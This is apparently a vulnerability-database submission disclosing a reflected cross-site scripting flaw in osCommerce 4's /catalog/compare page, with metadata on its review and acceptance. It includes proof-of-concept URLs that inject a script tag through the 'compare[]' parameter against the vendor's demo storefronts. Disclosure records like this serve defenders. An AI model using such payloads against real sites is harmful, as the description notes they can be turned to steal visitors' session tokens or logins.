| Title | osCommerce ltd. osCommerce 4 Reflected XSS |
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| Description | # Exploit Title: osCommerce 4 - Reflected XSS
# Exploit Author: skalvin aka (CraCkEr)
# Date: 13/11/2023
# Vendor: osCommerce ltd.
# Vendor Homepage: https://www.oscommerce.com/
# Software Link: https://demo.oscommerce.com/
# Demo Link: https://demo.oscommerce.com/printshop/
# Tested on: Windows 11 Home
# Impact: Manipulate the content of the site
# CWE: CWE-79 - CWE-74 - CWE-707
## Description
Attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Path: /catalog/compare
GET parameter 'compare[]' is vulnerable to XSS
https://website/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
Live POC:
https://demo.oscommerce.com/printshop/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
https://demo.oscommerce.com/furniture/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
https://demo.oscommerce.com/watch/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
[-] Done |
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| Source | ⚠️ https://demo.oscommerce.com/printshop/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx |
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| User | skalvin (UID 49463) |
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| Submission | 11/13/2023 21:48 (3 years ago) |
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| Moderation | 11/26/2023 08:20 (12 days later) |
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| Status | Accepted |
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| VulDB entry | 246122 [osCommerce 4 Instant Message /catalog/compare cross site scripting] |
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| Points | 20 |
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